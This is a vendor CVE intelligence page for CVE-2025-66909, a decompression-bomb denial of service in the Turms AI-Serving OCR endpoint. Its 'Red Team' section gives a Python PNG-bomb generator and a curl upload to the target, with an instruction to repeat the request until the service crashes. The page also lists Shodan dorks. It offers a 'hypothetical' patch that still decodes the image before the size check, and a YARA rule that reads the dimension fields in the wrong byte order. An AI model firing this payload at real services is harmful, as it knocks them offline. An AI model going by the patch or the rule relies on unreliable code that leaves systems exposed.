☠️
EXFILTRATING
DATA...
01010111 10110010 00101001 11000110 01101100 10011011 00010001 11100101 01000010 10101111
[ <-- BACK_TO_SEARCH ]
[ VENDOR STATS ]
SOON CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H 🐛 CWE-770
👁️
Common Weakness Enumeration - Identifies the specific category of software weakness or flaw.

CVE-2025-66909

CVE-2025-66909 Denial of Service in Turms
📅 PUBLISHED: 2025-12-19 00:00 UTC 🔄 UPDATED: 2026-08-12 09:03 UTC
⏳ SCORE PENDING — ANALYSIS IN PROGRESS [ DEFENSE PATCH ↓ ]
💣 PoC: Public
👁️
Proof of Concept - Indicates if functional exploit code is publicly available, drastically increasing the risk of immediate attacks.
🎯 EPSS: 0.34%
👁️
0.34% probability
8.4× above the median CVE
Tier: ELEVATED
30-day exploitation window · FIRST.org · updated daily
🥷 MITRE: T1499
👁️
MITRE ATT&CK Tactic - Describes the strategy hackers use to execute this attack.
VULNERABLE: <= 0.10.0-SNAPSHOT
CVSS VECTOR BREAKDOWN 0.0
AV: N Attack Vector Network
AC: L Attack Complexity Low
PR: N Privileges Required None
UI: N User Interaction None
S: U Scope Unchanged
C: N Confidentiality None
I: N Integrity None
A: H Availability High
SOON
PENDING NVD
■ tracking this CVE ✓ independent patch confirmation ⧗ same-origin mirror (GHSA) ⚠ active exploitation verification policy →

Executive Summary

CVE-2025-66909 is a denial of service (DoS) vulnerability in the Turms AI-Serving module, specifically within the ExtendedOpenCVImage class. The vulnerability allows an unauthenticated attacker to cause a complete denial of service by uploading a specially crafted compressed image file (e.g., a decompression bomb). The application uses OpenCV's imread() function without validating image dimensions or pixel count before decompression, leading to immediate memory exhaustion and service crash. This vulnerability is particularly dangerous for publicly accessible OCR services, as multiple requests can completely deny service availability. No authentication is required for exploitation.

⚡ AUTOMATE YOUR CVE INTELLIGENCE

This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.

›Patch confidence — UNVERIFIED to CONFIRMED, cross-referenced NVD + RHSA + Debian
›Exploit & PoC — poc_status, poc_url, has_exploit. Not in NVD.
›Shodan dorks — ready-made queries to find exposed vulnerable systems
›Detection rules — YARA · Wazuh · Elastic (all plans) · Sigma (Pro)
›pending_fields — know exactly which of 7 fields NVD hasn't processed yet
›Free backfill — data incomplete when you paid? Re-check within 30 days = 0 credits
PAYG €0.08/lookup Standard €19/mo (was €29) · 5k credits Pro €65/mo (was €99) · 20k credits FOUNDING PRICE · LOCKED FOR LIFE · ENDS 31 DEC 2026
[ FROM €19/MO ]
Free sandbox key available
No signup required

Supply Chain & Package Security

This vulnerability is not in a package manager (NPM, PyPI, Go, Ruby) but in a Java-based AI serving module. The risk is in the supply chain of the Turms project itself, where the ExtendedOpenCVImage class is a custom component. The lack of input validation on image dimensions before decompression is a critical design flaw.

CVSS Breakdown & Threat Level

  • Attack Vector (AV): Network (N) - The vulnerability can be exploited remotely over the network.
  • Attack Complexity (AC): Low (L) - No special conditions are required; a simple crafted image file is sufficient.
  • Privileges Required (PR): None (N) - No authentication is needed.
  • User Interaction (UI): None (N) - The attacker does not need any user interaction.
  • Scope (S): Unchanged (U) - The vulnerability affects only the vulnerable component.
  • Confidentiality (C): None (N) - No data is exposed.
  • Integrity (I): None (N) - No data is modified.
  • Availability (A): High (H) - The service is completely denied.

Threat Level: High. The low attack complexity and no authentication requirement make this a significant threat for any publicly accessible Turms AI-Serving instance.

Deep Dive & Mechanics

The vulnerability resides in the ExtendedOpenCVImage class within the ai/djl/opencv/ExtendedOpenCVImage.java file. The class uses OpenCV's imread() function to load images. The imread() function decompresses the entire image into memory before returning a Mat object. The vulnerability is that the code does not check the image's dimensions (width, height) or the number of pixels before calling imread(). An attacker can craft a PNG file that is small on disk (e.g., a few kilobytes) but specifies extremely large dimensions (e.g., 100,000 x 100,000 pixels). When imread() processes this file, it allocates memory for the full decompressed image, which can be gigabytes in size. This leads to an OutOfMemoryError and crashes the Java Virtual Machine (JVM), causing a denial of service.

The attack flow:

  1. Attacker creates a decompression bomb PNG.
  2. Attacker sends an HTTP request to the Turms AI-Serving endpoint (e.g., /ocr or /predict) with the malicious image.
  3. The server calls ExtendedOpenCVImage.loadImage() which invokes Imgcodecs.imread().
  4. imread() decompresses the image, allocating a huge amount of memory.
  5. The JVM runs out of memory and crashes.
  6. The service becomes unavailable.

Vulnerable vs. Patched Code

Vulnerable Code (ExtendedOpenCVImage.java):

public class ExtendedOpenCVImage extends OpenCVImage {
    @Override
    public void loadImage(Path imagePath) throws IOException {
        Mat mat = Imgcodecs.imread(imagePath.toString());
        if (mat.empty()) {
            throw new IOException("Failed to load image: " + imagePath);
        }
        this.mat = mat;
    }
}

Patched Code (Hypothetical):

public class ExtendedOpenCVImage extends OpenCVImage {
    private static final long MAX_PIXELS = 10_000_000; // 10 megapixels
    private static final long MAX_DIMENSION = 10_000; // 10,000 pixels

    @Override
    public void loadImage(Path imagePath) throws IOException {
        // Validate image dimensions before decompression
        Mat header = Imgcodecs.imread(imagePath.toString(), Imgcodecs.IMREAD_REDUCED_COLOR_2);
        if (header.empty()) {
            throw new IOException("Failed to read image header: " + imagePath);
        }
        long width = header.width();
        long height = header.height();
        long totalPixels = width * height;
        if (width > MAX_DIMENSION || height > MAX_DIMENSION || totalPixels > MAX_PIXELS) {
            throw new IOException("Image dimensions exceed allowed limits: " + width + "x" + height);
        }
        // Now safely load the full image
        Mat mat = Imgcodecs.imread(imagePath.toString());
        if (mat.empty()) {
            throw new IOException("Failed to load image: " + imagePath);
        }
        this.mat = mat;
    }
}

Exploitation & Lab Setup

Red Team (Attacker)

Lab Setup:

  1. Deploy a vulnerable Turms AI-Serving instance (v0.10.0-SNAPSHOT) on a local VM or container.
  2. Ensure the OCR endpoint is publicly accessible (e.g., http://target:8080/ocr).

Exploitation Steps:

  1. Create a decompression bomb PNG using a tool like pngcrush or a custom script.
    # decompression_bomb.py
    import struct
    import zlib
    
    def create_bomb_png(filename, width, height):
        # PNG signature
        signature = b'\x89PNG\r\n\x1a\n'
        # IHDR chunk
        ihdr_data = struct.pack('>IIBBBBB', width, height, 8, 2, 0, 0, 0)
        ihdr_crc = zlib.crc32(b'IHDR' + ihdr_data) & 0xffffffff
        ihdr_chunk = struct.pack('>I', 13) + b'IHDR' + ihdr_data + struct.pack('>I', ihdr_crc)
        # IDAT chunk (minimal compressed data)
        raw_data = b'\x00' * (width * 3)  # RGB pixels
        compressed = zlib.compress(raw_data)
        idat_crc = zlib.crc32(b'IDAT' + compressed) & 0xffffffff
        idat_chunk = struct.pack('>I', len(compressed)) + b'IDAT' + compressed + struct.pack('>I', idat_crc)
        # IEND chunk
        iend_crc = zlib.crc32(b'IEND') & 0xffffffff
        iend_chunk = struct.pack('>I', 0) + b'IEND' + struct.pack('>I', iend_crc)
        with open(filename, 'wb') as f:
            f.write(signature + ihdr_chunk + idat_chunk + iend_chunk)
    
    create_bomb_png('bomb.png', 100000, 100000)  # 10 billion pixels
    
  2. Send the malicious image to the target endpoint:
    curl -X POST -F "image=@bomb.png" http://target:8080/ocr
    
  3. Repeat the request multiple times to ensure service crash.

Blue Team (Defender)

Detection:

  • Monitor for unusually large memory allocation in the JVM.
  • Set up alerts for OutOfMemoryError exceptions in logs.
  • Use network monitoring to detect large image uploads.

Mitigation:

  • Implement input validation on image dimensions before processing.
  • Use a reverse proxy to limit request body size (e.g., Nginx client_max_body_size 10m).
  • Apply rate limiting to prevent multiple rapid requests.

Indicators of Compromise (IOCs)

  • Network: HTTP POST requests to /ocr or /predict with Content-Type: multipart/form-data containing a PNG file.
  • Logs: Java OutOfMemoryError exceptions in application logs.
  • Memory: Sudden spike in JVM heap memory usage.
  • File: PNG files with dimensions exceeding 10,000 pixels in either width or height.

Detection Engineering

YARA Rule

rule DecompressionBomb_PNG {
    meta:
        description = "Detects PNG files with suspiciously large dimensions indicative of a decompression bomb"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "CVE-2025-66909"
    strings:
        $png_header = { 89 50 4E 47 0D 0A 1A 0A }
        $ihdr = "IHDR"
    condition:
        $png_header at 0 and $ihdr and (uint32(16) > 10000 or uint32(20) > 10000)
}

Sigma Rule

title: Turms AI-Serving Decompression Bomb DoS
id: 7a8b3c4d-5e6f-7890-abcd-ef1234567890
status: experimental
description: Detects potential decompression bomb attacks against Turms AI-Serving
author: Valters IT
date: 2025-04-10
logsource:
    category: application
    product: turms
detection:
    selection:
        EventID: "OutOfMemoryError"
    condition: selection
falsepositives:
    - Legitimate large image processing
level: high

Suricata Rule

alert http any any -> any any (msg:"Turms AI-Serving Decompression Bomb DoS"; flow:to_server; content:"POST"; http_method; content:"/ocr"; http_uri; content:"multipart/form-data"; http_client_body; pcre:"/PNG/"; threshold: type both, track by_src, count 5, seconds 60; sid:1000001; rev:1;)

Remediation & Mitigation

  1. Immediate: Disable public access to the Turms AI-Serving OCR endpoint if not required.
  2. Short-term: Implement input validation on image dimensions before calling imread(). Use a library like ImageIO to read image headers without full decompression.
  3. Long-term: Apply resource limits (e.g., JVM -Xmx flag) and use a container orchestration platform with memory limits (e.g., Kubernetes resource quotas).
  4. Patch: Monitor the Turms project for an official patch. If none is available, apply the hypothetical patch provided in the "Vulnerable vs. Patched Code" section.

Valters IT
DevSecOps & Cyber Threat Intelligence Expert

👁️ SHODAN DORKS (THREAT HUNTING)

What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.

Turms AI-Serving
Turms OCR
Turms OpenCV

💣 PoC CODE AVAILABLE

Exploit code for this CVE is tracked in our database. Access poc_code via API Pro.

[ API_PRO ] →
◈ SOURCE Analysis & enrichment: valtersit.com/cve/CVE-2025-66909/ · CVE data: NVD/MITRE (public domain) · © 2026 ValtersIT Hub
>_ SYSTEM_CORE: INTEL_ACTIVE
90% TEAM-CURATED // 10% AUTOMATED INGESTION.
ALL PATCH REFERENCES AND VERSION DATA SOURCED FROM NVD + OSV OFFICIAL REGISTRIES.